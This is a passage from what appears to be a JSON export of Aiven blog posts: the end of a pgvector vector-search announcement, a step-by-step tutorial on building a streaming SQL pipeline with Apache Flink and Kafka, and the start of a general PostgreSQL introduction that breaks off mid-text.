SQL. pgvector allows you to bridge the gap between Machine Learning and transactional data. \n\nUse cases for pgvector\n======================\n\nBringing vectorized search to Aiven for PostgreSQL® means unlocking new capabilities on top of customer data. For example, with pgvector you can:\n\n- Create a **recommendation system** which only suggests products in stock with PostgreSQL's ACID features by joining product information and stock levels, then performing a vector search.\n\n- Build an **anomaly detection system** to understand patterns, by combining the power of vector search and trend analytics, defining good behaviors and generating alerts for non-compliant scenarios.\n\n- Build **Natural Language Processing** pipelines to deliver tailored insights based on prompts, by taking advantage of the combination of Large Language Models (LLMs) and pgvector. This would allow enhanced search of a company’s existing documentation via natural language interaction.\n\n- Perform activities like **object detection** and **facial recognition**, by leveraging image detection machine learning models and pgvector. This could include filtering the catalog of object patterns with additional inputs derivied from other data columns in PostgreSQL\n\nWhether you are in e-commerce, media, healthcare, or any other industry, pgvector empowers you to add new capabilities, enhance recommendation systems, and make more informed decisions based on vectorized data. Examples range from product recommendations, frequently used in e-commerce scenarios, to image recognition, which is very common in media and healthcare use cases.\n\npgvector in a nutshell\n======================\n\nThe basic functionality of pgvector is the storage and comparison of vector information in PostgreSQL. A vector representation is a way of representing data as a set of numerical values, where each value represents a feature or attribute of the data. In this representation, the data is encapsulated as a vector, which is a mathematical object that has both magnitude and direction.\n\nVector representations are widely used in machine learning and natural language processing, where they are called **embeddings** and used to represent words, phrases, sentences, images and documents. In these applications, each dimension of the vector corresponds to a specific feature of the text, such as the frequency of a particular word or the context in which it appears.\n\nVector representations are often used for tasks such as classification, clustering, and similarity matching. By representing data as vectors, it becomes possible to apply mathematical operations to the data, such as measuring the distance between two vectors or calculating the dot product of two vectors. These operations can be used to compare and analyze the data, and to extract meaningful insights from it.\n\npgvecor makes PostgreSQL able to store, retrieve and compare vectors allowing you to perform similarity search to identify items or data points that share intrinsic characteristics or similarities with a given query item. By comparing the query item to a dataset using a defined distance metric, you can identify the most similar items efficiently. pgvector also allows you to build full or partial indexes to speed up similarity search and to trade query performance with search accuracy by defining the amount of rows to scan.\n\nBenefits of pgvector\n====================\n\nBy using pgvector, you are adding vector search to the PostgreSQL capabilities, removing the need to build the dedicated functionality elsewhere. This extension provides the following capabilities:\n\n- **Accelerate machine learning adoption**: vector search is now only a SQL query away, therefore all tools able to connect with PostgreSQL can now benefit from similarity search queries out of the box.\n\n- **No data movement**: by storing embeddings alongside the existing relational data, the queries can run directly on top of PostgreSQL, without the need to export, transform and reconcile the data.\n\n- **Empower existing architectures**: PostgreSQL is already widely used in organizations, with pgvector coming as a plug-and-play extension allowing for any dataset to be addressed with vector search functionality without having additional databases.\n\n- **Mix vector search with transactional data**: vector search alone can be quite limited. The power of pgvector is that it provides the vector similarity functions alongside the relational data, allowing users to enrich vector queries with additional attributes and filters based on other columns and tables stored in the same database.\n\n- **ACID + similarity search**: since it's based on PostgreSQL, you can benefit its ACID (Atomicity, Consistency, Isolation, and Durability) properties and mix them with vector similarity queries.\n\nGetting started with pgvector in Aiven for PostgreSQL\n=====================================================\n\npgvector is supported in all new Aiven for PostgreSQL instances with version 13 or later. If you have an existing Aiven for PostgreSQL on version 13 or newer and you wish to enable pgvector, check for [maintenance updates](https://aiven.io/docs/platform/concepts/maintenance-window#maintenance-updates). After applying the one mentioning pgvector, you'll be able to use the extension.\n\nOnce the PostgreSQL instance is equipped with pgvector, you can enable the extension by connecting with a SQL client (e.g. [psql](https://aiven.io/docs/products/postgresql/howto/connect-psql)) and executing the following command\n```sql\nCREATE EXTENSION VECTOR\n```\nWith the extension enabled you can now define columns of type `VECTOR` specifying the dimensionality. The following example creates a table with a vector column having 3 dimensions.\n```sql\nCREATE TABLE COLORS(COLOR TEXT PRIMARY KEY, RGB VECTOR(3));\n```\nYou can now insert data in the `COLORS` table with:\n```sql\nINSERT INTO COLORS VALUES ('RED','[255,0,0]');\nINSERT INTO COLORS VALUES ('GREEN','[0,255,0]');\nINSERT INTO COLORS VALUES ('BLUE','[0,0,255]');\nINSERT INTO COLORS VALUES ('AQUA','[0,255,255]');\nINSERT INTO COLORS VALUES ('BLACK','[0,0,0]');\nINSERT INTO COLORS VALUES ('WHITE','[255,255,255]');\n```\nAnd find the euclidean distance between the existing colors in the `COLORS` table and the pink color `(255,153,204)` with:\n```sql\nselect *, rgb \u003c-\u003e '[255,153,204]' distance from colors order by 3;\n```\nThe result shows that `WHITE` is the closest color to the `PINK`;\n\n```sql\ncolor | rgb | distance\n--------+-----------------+--------------------\n WHITE | [255,255,255] | 114.03946685248927\n RED | [255,0,0] | 255\n AQUA | [0,255,255] | 279.3385043276347\n BLUE | [0,0,255] | 301.72006893808043\n GREEN | [0,255,0] | 342.11840055746785\n BLACK | [0,0,0] | 360.62445840513925\n\n(6 rows)\n```\nPricing \u0026 availability\n======================\n\nAiven for PostgreSQL is available on all major cloud service providers - AWS, Google Cloud and Microsoft Azure - in over 150 regions globally.\nThe pgvector extension is available for all customers who are using Aiven for PostgreSQL with PostgreSQL version 13 and above.\nYou can find all extensions available for Aiven for PostgreSQL in [this document](https://aiven.io/docs/products/postgresql/reference/list-of-extensions). \n\n\nYou can start Aiven for PostgreSQL for free or choose startup, business and premium plans for more storage and high availability. The startup plan starts at $0.151/hour.\n\nBring vector search to transactional data\n=========================================\n\npgvector enables vector search on top of any PostgreSQL database, providing a wide range of similarity functions accessible with the same SQL interface we use for day to day queries.\n\nIf you want to know more:\n\n- Review [the pgvector documentation](https://aiven.io/docs/products/postgresql/howto/use-pgvector) to understand the step-by-step instructions on enabling and using the pgvector extension for your Aiven for PostgreSQL service.\n\n- Check the[ pgvector GitHub repository](https://github.com/pgvector/pgvector#querying) to understand the set of operators and functions available.\n\n- Check out a practical demonstration of pgvector: [Image recognition with Python, OpenCV, OpenAI CLIP and pgvector](https://aiven.io/developer/find-faces-with-pgvector)\n\n## Further reading\n\n- [(Postgre)SQL concepts and terms](https://aiven.io/blog/postgresql-concepts-and-terms)","categories":[{"_key":"698276479535","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"879d47218994","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"},{"_key":"7e5457a675e3","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","alt":"Vector Search in Aiven for PostgreSQL® with pgvector","asset":{"_ref":"image-065dc1e9e8b79b4c0b21010de09b15a19784fc16-1567x844-png","_type":"reference"}},"publishedAt":"2023-06-27T10:00:43.691Z","related":[{"_key":"8e6354f68cce","_ref":"145w1kDoj7UfbaINvzIOg9","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"pgvector for Aiven PostgreSQL® is now available, enabling vectorized data storage and similarity searches with SQL. Find out more in our blog!","metaImage":{"_type":"mainImage","alt":"Vector Search in Aiven for PostgreSQL® with pgvector","asset":{"_ref":"image-065dc1e9e8b79b4c0b21010de09b15a19784fc16-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/blog/aiven-for-postgres-supports-pgvector"},"subtitle":"Announcing the availability of the pgvector extension in Aiven for PostgreSQL®, allowing you to store vectorized data in your database, and perform similarity searches with SQL.","title":"Enabling Vector Search in Aiven for PostgreSQL® with pgvector"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"7IDTlcURHzZ8SEgvYlcy6Q","_rev":"sEwq5NBiPauorOxrhfDVWO","_type":"post","_updatedAt":"2024-11-18T13:13:15Z","authors":[{"_key":"3dImkQse2fXRL7zTLzAoa1","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"\u003e __Docker is great for testing or development, but for production workloads you might want to use more reliable managed services like Aiven for Apache Kafka®️ and Aiven for Apache Flink®️. Check out how you can do this at [Keep the SQL: Move from batch to streaming with Apache Kafka® and Apache Flink®](https://aiven.io/developer/first-streaming-sql-pipeline-with-apache-flink)__\n\nApache Kafka is the perfect base for any streaming application: a solid, highly-available, fault-tolerant platform that makes reliable communication between streaming components as easy as writing to a disk.\n\nApache Flink adds the power of stateful data transformations to the picture. It's able to calculate, persist, recover and process data in a similar distributed, highly-available, fault-tolerant fashion to that provided by Kafka. Apache Flink is available from a variety of languages: from the more traditional Java and Scala all the way to Python and SQL. \n\nA [previous post](https://aiven.io/blog/apache-flink-sql-client-on-docker) showed how you can create your Docker version of Apache Flink including its SQL Client. In this post, we will demonstrate how you can use the best streaming combination — Apache Flink and Kafka — to create pipelines defined using data practitioners' favourite language: SQL!\n\nHere's how it goes:\n\n1. [Setting up Apache Kafka](#1-set-up-apache-kafka)\n2. [Set up Apache Flink on Docker](#2-set-up-apache-flink-on-docker)\n3. [Create a Keystore for Kafka's SSL certificates](#3-create-a-keystore-for-kafka-s-ssl-certificates)\n4. [Create some test data with Kafkacat](#4-create-some-test-data-with-kafkacat)\n5. [Define the source Kafka topic as Flink Table](#5-define-the-source-kafka-topic-as-flink-table)\n6. [Transform and insert data](#6-transform-and-insert-data)\n7. [Check the pipeline output](#7-check-the-pipeline-output)\n\n## 1. Set up Apache Kafka\n\nApache Kafka is our basic data storage platform. We can create a cluster via [Aiven's Command line interface](https://help.aiven.io/en/articles/3074410-aiven-command-line-interface-tips-and-tricks) in our terminal:\n\n```\navn service create -p business-4 \\\n -t kafka demo-kafka \\\n --cloud google-europe-west3 \\\n -c kafka_rest=true \\\n -c kafka.auto_create_topics_enable=true\n```\n\nThis sets up an Apache Kafka cluster named `demo-kafka` in `google-europe-west3`, enabling Kafka REST APIs and topic auto creation. If you want to wait until the `demo-kafka` service is ready to use, you can use the following command:\n\n```\navn service wait demo-kafka\n```\n\n## 2. Set up Apache Flink on Docker\nIn [my previous post](https://aiven.io/blog/apache-flink-sql-client-on-docker) I outlined how to properly set up Apache Flink on Docker. With Docker, we can have a working environment running in minutes without needing to fiddle with installation and configuration. The previous post provides instructions on how to set up such an environment and how to create a file-to-PostgreSQL data pipeline. In this article, I'm going to assume that you [correctly configured Apache Flink](https://github.com/aiven/flink-sql-cli-docker), and that the service is up and running.\n\nHere's a quick summary of the required steps if you didn't follow the previous post. Clone the `aiven/flink-sql-cli-docker` repository with the following code in your terminal\n\n```bash\ngit clone https://github.com/aiven/flink-sql-cli-docker.git\n```\n\nNow open the `flink-sql-cli-docker` folder and start the docker compose:\n\n```bash\ncd flink-sql-cli-docker\ndocker-compose up -d\n```\n\nAt this stage, when running\n\n```bash\ndocker-compose ps\n```\n\nyou should get an output like this:\n\n```bash\nName Command State Ports \n--------------------------------------------------------------------------------------------------------------\nflink-sql-cli-docker_jobmanager_1 /docker-entrypoint.sh jobm ... Up 6123/tcp, 0.0.0.0:8081-\u003e8081/tcp\nflink-sql-cli-docker_sql-client_1 /docker-entrypoint.sh Up 6123/tcp, 8081/tcp \nflink-sql-cli-docker_taskmanager_1 /docker-entrypoint.sh task ... Up 6123/tcp, 8081/tcp \n```\n\nThis tells you that Flink's job manager, task manager and sql-client containers are all ready to be used.\n\n::banner[A fully managed service for Apache Flink for all your real time ETL and streaming analytics use cases.]{ctaText=\"Start your free trial\" ctaLink=\"https://aiven.io/flink\" title=\"Aiven for Apache Flink®\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/c96d109662fa0afd283a3ce7fbd1af8a8005f682-64x64.svg\"}\n\n## 3. Create a Keystore for Kafka's SSL certificates\nAiven for Apache Kafka enables SSL authentication by default. To safely connect to it from Apache Flink, we need to use the Java Keystore and Truststore. We can generate them with the following command in our terminal, assuming we are in the `flink-sql-cli-docker` folder you created in the previous steps:\n\n```\navn service user-kafka-java-creds demo-kafka \\\n --username avnadmin \\\n -d settings/certs \\\n -p password123\n```\n\nThe command creates a folder named `certs` under `settings` and stores the certificate files together with a Keystore and Truststore (named `client.keystore.p12` and `client.truststore.jks`), secured with the `password123` password string.\n\n## 4. Create some test data with Kafkacat\n\nNow we can use [Kafkacat](https://github.com/edenhill/kcat) to create some data. After installing it, let's create a file `kafkacat.config` under our `certs` folder with the following content:\n\n```\nbootstrap.servers=\u003chost\u003e:\u003cport\u003e\nsecurity.protocol=ssl\nssl.key.location=service.key\nssl.certificate.location=service.cert\nssl.ca.location=ca.pem\n```\n\nTo find the `\u003chost\u003e` and `\u003cport\u003e` parameters, use the following call:\n\n```\navn service get demo-kafka --format '{service_uri_params}'\n```\n\nNow open a new terminal, navigate to the `certs` folder, and execute this:\n\n```\nkafkacat -F kafkacat.config -P -t people\n```\n\nKafkacat sends every new line appearing in the terminal as message to Kafka in the `people` topic. Paste the following lines into the terminal:\n\n```\n{\"name\":\"Jon\",\"country\":\"USA\",\"age\":40}\n{\"name\":\"Ava\",\"country\":\"England\",\"age\":35}\n{\"name\":\"Pino\",\"country\":\"Italy\",\"age\":25}\n{\"name\":\"Carla\",\"country\":\"Italy\",\"age\":45}\n```\n\nFour messages have been sent to `people` topic in our Apache Kafka environment. Keep this window open - you'll use it again later to insert more messages.\n\n## 5. Define the source Kafka topic as Flink Table\nAs mentioned in the [previous post](https://github.com/aiven/sql-cli-for-apache-flink-docker), we can enter Flink's `sql-client` container to create a SQL pipeline by executing the following command in a new terminal window:\n\n```\ndocker exec -it flink-sql-cli-docker_sql-client_1 /bin/bash\n```\n\nNow we're in, and we can start Flink's SQL client with\n\n```\n./sql-client.sh\n```\n\nDefine a source for the `people` Kafka topic with the following code (replace the `\u003chost\u003e` and `\u003cport\u003e` parameters to correctly point to Kafka as mentioned):\n\n```\nCREATE TABLE people_source (\n name VARCHAR,\n country VARCHAR,\n age INT\n) WITH (\n 'connector' = 'kafka',\n 'property-version' = 'universal',\n 'properties.bootstrap.servers' = '\u003chost\u003e:\u003cport\u003e',\n 'topic' = 'people',\n 'scan.startup.mode' = 'earliest-offset',\n 'value.format' = 'json',\n 'properties.security.protocol' = 'SSL',\n 'properties.ssl.endpoint.identification.algorithm' = '',\n 'properties.ssl.truststore.location' = '/settings/certs/client.truststore.jks',\n 'properties.ssl.truststore.password' = 'password123',\n 'properties.ssl.keystore.type' = 'PKCS12',\n 'properties.ssl.keystore.location' = '/settings/certs/client.keystore.p12',\n 'properties.ssl.keystore.password' = 'password123',\n 'properties.ssl.key.password' = 'password123',\n 'properties.group.id' = 'my-working-group'\n);\n```\n\nThe command above defines a Flink table named `people_source` with the following properties:\n* Three columns: `name`, `country` and `age`\n* Connecting to Apache Kafka (`connector = 'kafka'`)\n* Reading from the start (`scan.startup.mode`) of the topic `people` (`topic`) which format is JSON (`value.format`) with consumer being part of the `my-working-group` consumer group.\n* Connecting via the `bootstrap.servers` and using the `SSL` security protocol (`properties.security.protocol`) with the `client.truststore.jks` and `client.keystore.p12` stores.\n\nAfter executing it, we should receive a message saying `[INFO] Table has been created.`. Please note that this doesn't mean it's working! We can test it properly by issuing the following sql statement from the `sql-client` terminal:\n\n```\nselect * from people_source;\n```\n\nWhich will result in\n\n```\n+/- name country age\n + Jon USA 40\n + Ava England 35\n + Pino Italy 25\n + Carla Italy 45\n```\nTo leave Flink's table view, press `Q`.\n\n### Solving the volume permission problem on Linux\nIf you're on Linux, you'll probably hit an error like this:\n\n```\n[ERROR] Could not execute SQL statement. Reason:\njava.nio.file.AccessDeniedException: /settings/certs/client.keystore.p12\n```\n\nThis error is caused by a couple of factors:\n* The `client.keystore.p12` file generated is by default readable only from the user who created it (`-rw -- --`)\n* The way docker-compose mounts the volumes: the folder where keystore files resides is owned by user root (`uid 1000`)\n\nThe combination of the two make the file `client.keystore.p12` inaccessible by Flink (executed by user `flink` with `uid 9999`). To solve the problem, make the keystore readable by the `flink` user by redefining the folder ownership:\n\nFind its id with the following command in a terminal from the `flink-sql-cli-docker` folder in your host:\n\n```\ndocker exec flink-sql-cli-docker_taskmanager_1 id flink\n```\nThe result should be similar to this:\n\n```\nuid=9999(flink) gid=9999(flink) groups=9999(flink)\n```\n\nNow we can use `flink`'s `uid` to set the `settings` folder ownership, always by executing the following command in the same terminal window (replacing the `9999` with `flink`'s `uid` from the above call if necessary)\n\n```\nsudo chown -R 9999 ./settings\n```\n\nAfter executing it, retry the `select * from people_source;` statement. It should now succeed.\n\n## 6. Transform and insert data\nNow it's time to see the beauty of Flink in action: we're going to set up a process that analyses streaming data coming from the `people` Kafka topic, calculates some **aggregated KPIs** and **publishes** them to a **target datastore**, in our case a new Kafka topic. And we're doing everything using only SQL statements.\n\nFlink is so flexible that you can run a similar exercise with a huge variety of technologies as sources or targets. The Kafka examples shown in this blog could be replaced with any JDBC database, local files, OpenSearch or Hive with only a few changes in our SQL definitions. The list of supported connectors can be found on [Flink's website](https://ci.apache.org/projects/flink/flink-docs-release-1.13/docs/connectors/table/overview/).\n\n### Defining the target Kafka topic as a Flink table\nFor the purposes of this article, let's assume we want to push aggregated data to a new Kafka topic containing the average age and number of people in a specific country. To do so, we first need to define Flink's target table structure with the following code in Flink's sql-cli terminal window (replacing, as before, the `\u003chost\u003e:\u003cport\u003e` section with Kafka's endpoint):\n\n```sql\nCREATE TABLE country_target (\n country VARCHAR,\n avg_age BIGINT,\n nr_people BIGINT,\n PRIMARY KEY (country) NOT ENFORCED\n) WITH (\n 'connector' = 'upsert-kafka',\n 'property-version' = 'universal',\n 'properties.bootstrap.servers' = '\u003chost\u003e:\u003cport\u003e',\n 'topic' = 'country_agg',\n 'value.format' = 'json',\n 'key.format' = 'json',\n 'properties.security.protocol' = 'SSL',\n 'properties.ssl.endpoint.identification.algorithm' = '',\n 'properties.ssl.truststore.location' = '/settings/certs/client.truststore.jks',\n 'properties.ssl.truststore.password' = 'password123',\n 'properties.ssl.keystore.type' = 'PKCS12',\n 'properties.ssl.keystore.location' = '/settings/certs/client.keystore.p12',\n 'properties.ssl.keystore.password' = 'password123',\n 'properties.ssl.key.password' = 'password123',\n 'properties.group.id' = 'my-working-group'\n);\n```\n\nThe above SQL creates a Flink table with three columns: `country` primary key, `avg-age`, and `nr_people`. The connector is `upsert-kafka` since we want to update the topic always with the most updated version of the KPIs per country (`PRIMARY KEY (country)`). The `WITH` clause specifies that we will push data to the `country_agg` Kafka topic using the same connection properties as the `people_source` connector.\n\nWhat's even cooler about this is that with a few small amendments to the `WITH` statement above, we could publish the result of our data pipeline to a completely different technology endpoint. An example of Flink's table definition of a database is provided in the article [Apache Flink SQL client on Docker](https://aiven.io/blog/apache-flink-sql-client-on-docker).\n\n### Setting up the data pipeline\nOnce the `country_target` destination endpoint is defined, we can finally create the SQL pipeline by defining the query aggregation logic and related insert statement. The following code provides exactly what we need, so we can paste it in Flink's sql-cli terminal window:\n\n```sql\ninsert into country_target\n select country,\n avg(age),\n count(*)\n from people_source\n group by country;\n```\n\nWe should receive a message telling us that our SQL pipeline was successfully deployed, like this:\n\n```\n[INFO] Submitting SQL update statement to the cluster...\n[INFO] Table update statement has been successfully submitted to the cluster:\nJob ID: 95b57225d702ab9c9402daba10fe6a84\n```\n\nNow if we query the `country_target` table from Flink's SQL client with:\n\n```\nselect * from country_target;\n```\n\nWe should see something like this:\n\n```\n+/- country avg_age nr_people\n + USA 40 1\n + England 35 1\n + Italy 25 1\n - Italy 25 1\n + Italy 35 2\n```\n\nThis tells us that we have one entry for `USA` and `England` as expected, but three entries for `Italy` - which is weird, since we only pushed two records for that country. This is becasue we want to keep only the current KPIs status, and are experiencing Flink's sql-client `changelog` result-mode. The above result tells us that we had, in order:\n\n1. Insert entry for `Italy` with `1` people of average age of `25` -\u003e Sign `+`\n2. Delete entry #1 -\u003e Sign `-`\n3. Insert entry for `Italy` with `2` people of average age of `35` -\u003e Sign `+`\n\nFlink's `changelog` view is great if we want to check how KPIs have been calculated over time. On the other hand, if we just want to browse the up-to-date situation we can move to Flink's `table` result mode by executing the following in Flink's sql-cli terminal:\n\n```bash\nSET execution.result-mode = table;\n```\n\nAnd now, when re-issuing the `select * from country_target;` it will show just the current situation:\n\n```bash\ncountry avg_age nr_people\n USA 40 1\nEngland 35 1\n Italy 35 2\n```\n\n## 7. Check the pipeline output\nNow we want to verify that the Flink records have been successfully written to the desired Kafka topic. From a new terminal window positioned on the `flink-sql-cli-docker/settings/certs` we can execute this:\n\n```bash\nkafkacat -F kafkacat.config -C -t country_agg\n```\n\nThe command will start Kafkacat in consumer mode (`-C`) listening on topic `country_agg` (the same that we used in Flink's table definition). The output will be the list of updated records on the various KPIs:\n\n```json\n{\"country\":\"USA\",\"avg_age\":40,\"nr_people\":1}\n{\"country\":\"England\",\"avg_age\":35,\"nr_people\":1}\n{\"country\":\"Italy\",\"avg_age\":25,\"nr_people\":1}\n{\"country\":\"Italy\",\"avg_age\":35,\"nr_people\":2}\n% Reached end of topic country_agg [0] at offset 4\n```\n\nIf we now add a row to our `people` topic via the first Kafkacat window in producer mode, thus:\n\n```\n{\"name\":\"Mark\",\"country\":\"England\",\"age\":37}\n```\n\nWe can immediately see the streaming pipeline in action with a new line appearing in the `country_agg` Kafka topic on the Kafkacat consumer terminal, containing the updated `avg_age` and `nr_people` KPIs:\n\n```\n{\"country\":\"England\",\"avg_age\":36,\"nr_people\":2}\n% Reached end of topic country_agg [0] at offset 5\n```\n\nWow, we just built a whole analytics pipeline!\n\nWe started by inserting JSON records into a Kafka topic with kafkacat representing our streaming input. The topic was then registered in Flink which we later configured to transform and aggregate the data. The output was finally stored in a new Kafka topic.\n\nThe whole pipeline was built with just three SQL statements and, with minor changes, we could quickly swap the data source or target using Flink as an \"abstraction layer\" on top of our data technology. This was a very simple use case, but Flink can be a game changer in a huge variety of situations. Your batch ETL now seems a bit dated, doesn't it?\n\n::banner[Use Aiven for Apache Flink® for data transformation, Aiven for Apache Kafka® for data streaming, and Aiven for PostgreSQL® for data storage/query.]{ctaText=\"Read tutorial\" ctaLink=\"https://aiven.io/docs/tutorials/anomaly-detection\" title=\"Build a streaming anomaly detection system\" theme=dark}\n\n## Build a streaming pipeline in pure SQL\nSQL is the best known and most loved language among data practitioners. The union of [Apache Kafka](https://aiven.io/kafka) and Flink provides a simple, highly available and scalable toolset that allows them to focus on building real time data pipelines rather than learning and debugging complex code. Flink SQL capabilities enhance all the benefits of building Kafka-based data hubs, with the capability of joining in external data assets and delivering data pipeline output to a huge variety of targets.\n\nAdditional resources that you might find interesting:\n* [An introduction to Flink](https://aiven.io/blog/introduction-to-apache-flink) on the Aiven blog\n* [An introduction to event-driven architecture](https://aiven.io/blog/introduction-to-event-driven-architecture)\n* [Apache Flink SQL client on Docker](https://aiven.io/blog/apache-flink-sql-client-on-docker), also on the Aiven blog\n* [Flink SQL Client Documentation](https://nightlies.apache.org/flink/flink-docs-release-1.14/docs/dev/table/sqlclient/) - to understand Flink SQL client functionality\n* [Flink - Apache Kafka SQL Connector](https://nightlies.apache.org/flink/flink-docs-release-1.14/docs/connectors/table/kafka/) - to check Apache Kafka table definition\n* [Flink - Apache Kafka Upsert SQL Connector](https://nightlies.apache.org/flink/flink-docs-release-1.12/dev/table/connectors/upsert-kafka.html) - to review Apache Kafka Upsert parameters\n* [Aiven Console](https://console.aiven.io/) - to create and manage your Apache Kafka cluster\n* [The future of data pipelines](https://aiven.io/blog/the-future-of-data-pipelines)\n\n## Next steps\nYour next step could be to check out [Aiven for PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL\") and [Aiven for Apache Flink](https://aiven.io/flink \"Aiven for Apache Flink\").\n\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"xf14JBMwWMJO4oL9NS3c9","_ref":"xf14JBMwWMJO4oL9NS3c9","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"1wgqjrglPyMfEWcMYN3YcQ","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-87fc53fc08a7716056a5ba920d0c8b3e5c4b4476-1567x844-jpg","_type":"reference"}},"publishedAt":"2021-06-02T00:00:00.000Z","related":[],"seo":{"metaDescription":"Apache Kafka® is the perfect base for a streaming application. Apache Flink® has the power of stateful data transformations. Together, they move data!","metaImage":{"alt":"","asset":{"_ref":"image-0ce3c6718cd7bec852dcd1010e4485a41a18a887-1567x844-png","_type":"reference"}},"metaTitle":"Creating SQL Pipelines with Apache Flink® \u0026 Apache Kafka®"},"slug":{"_type":"slug","current":"/blog/build-a-streaming-sql-pipeline-with-flink-and-kafka"},"subtitle":"Apache Kafka® is the perfect base for a streaming application. Apache Flink® has the power of stateful data transformations. Together, they move data!","title":"Streamline SQL Pipeline with Flink and Kafka"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"145w1kDoj7UfbaINvzIOg9","_rev":"jlE3yG3C5Lxk0cUOqcs7CI","_type":"post","_updatedAt":"2024-05-27T13:03:34Z","authors":[],"body":"This post is your **all-purpose PostgreSQL introduction**. We'll cover a lot of questions:\n- What is a PostgreSQL database?\n- What does PostgreSQL do, and what's special about it?\n- How does PostgreSQL work?\n- How does PostgreSQL fit into a data architecture?\n\nIn this post:\n\n1. [What is PostgreSQL and why you should care](#what-is-postgresql-and-why-you-should-use-it)\n2. [What does PostgreSQL do?](#what-does-postgresql-do)\n4. [PostgreSQL use cases and users](#postgresql-use-cases-and-users)\n5. [PostgreSQL features](#Postgresql-features)\n6. [How PostgreSQL does it](#how-postgresql-does-it)\n7. [Aiven for PostgreSQL](#aiven-for-postgresql)\n8. [Getting started with PostgreSQL at Aiven](#getting-started-with-postgresql-at-aiven)\n9. [Further reading](#further-reading)\n\n## What is PostgreSQL and why you should use it\n### Definition and uses\nPostgreSQL, also known as Postgres, is a flexible open-source object [relational database](https://en.wikipedia.org/wiki/Relational_database \"A relational database is a data store that presents data as relations, and uses relational operators to manipulate the data in tabular form | Wikipedia\") management system. PostgreSQL can handle a huge variety of [use cases](https://www.aiven.io/blog/use-cases-for-postgresql), from single machines to data warehouses to web services with many concurrent users. PostgreSQL uses and extends SQL (hence the name), and is broadly extensible to a range of use cases beyond mere transactional data.\n\nPostgreSQL is strongly supported by its [global development group](https://www.postgresql.org/community/contributors/) of companies and individual contributors.\n\nFor definitions of the most common SQL terms and concepts, which also apply to PostgreSQL, take a look at [(Postgre)SQL concepts and terms](https://www.aiven.io/blog/postgresql-concepts-and-terms)\n### What does PostgreSQL do?\nAs a relational database, **PostgreSQL stores data in tables** (called relations) containing the tuples representing _entities_ (such as documents and people) and _relationships_ (such as authorship). Relations hold fixed-type attributes representing entity properties (such as a title) along with a primary key. Attribute types can be either atomic (such as integer, floating point, or boolean) or structured (such as an array, nested JSON, or a procedure).\n\n![the parts of a postgresql table](//cdn.sanity.io/images/sczeoy4w/production/21808f951904d2a7f0445b2489a0b43768ae0d0b-3360x1750.png \"The parts of a PostgreSQL table\")\n\nPostgreSQL supports transactions with ACID properties. This means transactions must support four attributes:\n\n**Atomicity** — transactions are considered complete units; a transaction can either completely succeed or completely fail - in the case of failure, the database state is left unchanged.\n\n**Consistency** — a database, between transactions, can only exist in a valid state; all data written to the database must adhere to extant constraints, triggers, cascades and related combinations.\n\n**Isolation**, — a function of _concurrency control_, ensures that data is not corrupted by illegal or concurrent transactions — as transactions are treated as if they happened sequentially.\n\n**Durability** — ensures that a transaction remains committed even when the system fails — typically, completed transactions are recorded, for example, in a [write-ahead log](https://en.wikipedia.org/wiki/Write-ahead_logging).\n\n\u003c!-- ## PostgreSQL in your architecture\n --\u003e\n## PostgreSQL use cases and users\nAccording to the [db-engines](https://db-engines.com/en/ranking) ranking, PostgreSQL is the fourth most popular database management system (and most popular open source DBMS).\n\nToday in addition to enterprise users, a number of 3rd party vendors, consultancies and independent groups derive products from, consult, support, and offer auxiliary enhancements for PostgreSQL. There are also integrations with artificial intelligence (AI) and machine learning (ML), many cloud versions, hardware-optimized versions, and so forth. The [Use cases for PostgreSQL](https://www.aiven.io/blog/use-cases-for-postgresql) on our blog has more to say.\n\n::youtube[Building data pipelines with Kafka and PostgreSQL]{#Ca3TlklRhfs}\n\nBy far the biggest industry sector using PostgreSQL is the computer software industry, followed by information technology and services. Other industries include hospitals and health care, higher education, financial services, telecommunication, education, marketing and advertising. Government agencies, including the FBI, are also users.\n## PostgreSQL features\nFor more information about the types of features that PostgreSQL supports, there's a [great breakdown at PostgreSQL ](https://www.postgresql.org/about/), so we’ll look at just a few of the main ones here.\n\u003c!-- not sure how many of these actually qualify as \"PostgreSQL features\" --\u003e\n### Automatically updateable views\nIn addition to SQL support, PostgreSQL offers automatically updatable views. This means that a view resulting from a query will automatically update when a transaction updates the data serving that view.\n### Materialized views\nA materialized view is a data object that contains a given query’s results. You can query a materialized view just as you would a database table directly. They can also be refreshed on schedule, and must be because they are essentially a snapshot of the data at a certain point in time.\n### Triggers\nTriggers execute code in response to transactional or other changes to a table or view. When an item is updated in the inventory, you might want to automatically record the update time and the username performing the operation in dedicated columns for tracking purposes.\n### Foreign keys\n(See also [Primary key](#primary-key) Foreign keys exist to ensure valid references between the child and parent tables; for example, every row in the ``orders`` table needs to have a valid ``customer`` reference associated with the order itself.\n### Stored procedures\nStored procedures are maintained in the data dictionary of a database, and may contain several combined SQL procedures each. They provide applications access to commonly-used data validation, data manipulation, access control, or other methods. Stored procedures can be defined by users and run when needed.\n### Pub/sub logical replication\nPostgreSQL offers a means for publish/subscribe logical replication. Essentially, a PostgreSQL instance can act as an event cache between applications and event consumers.\n\n::youtube[Making Sense of 